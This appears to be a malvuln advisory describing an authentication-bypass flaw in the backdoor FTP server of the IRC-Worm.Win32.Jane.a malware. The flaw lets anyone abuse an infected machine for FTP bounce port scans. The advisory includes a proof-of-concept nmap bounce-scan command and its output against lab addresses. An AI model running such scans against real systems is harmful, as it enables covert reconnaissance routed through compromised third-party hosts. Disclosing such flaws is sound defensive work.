Original source: https://malvuln.com/advisory/2d1d6b0fd55eca12f58b8b6d80f8153f_B.txt
Contact:
Media: twitter.com/malvuln
Threat: IRC-Worm.Win32.Jane.a
Vulnerability: Authentication Bypass MITM Port Bounce Scan
Description: The backdoor FTP server listens on TCP port 21, upon
connecting the server responds with banner "JANE_FTP Server is
ready to be hacked !!! thx Del_Armg0 ... ; )" making it easily
identifiable. Third-party adversaries can abuse the server as a
man-in-the-middle machine allowing PORT Command bounce scan attacks
using Nmap. This vulnerability allows remote attackers to abuse
your system and discreetly conduct network port scanning. Victims
will then think these scans are originating from the infected
system running the afflicted malware FTP Server and not you. This
is easily accomplished as the malware allows anyone to logon using
any username password combination.
Type: PE32
MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f
Vuln ID: MVID-2021-0152
Disclosure: 03/29/2021
Exploit/PoC:
Telnet to ID the vuln JANE_FTP banner, so we can Port scan
discreetly.
nmap -n -Pn -b mal:
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-29 14:20 Pacific
Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128
(192.168.88.128).
Attempting connection to ftp://mal:
Connected:220 JANE_FTP Server is ready to be hacked !!! thx
Del_Armg0 ... ; )
Login credentials accepted by FTP server!
Initiating Bounce Scan at 14:20
Discovered open port 80/tcp on 192.168.88.131
Completed Bounce Scan at 14:20, 2.10s elapsed (3 total ports)
Nmap scan report for 192.168.88.131
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds
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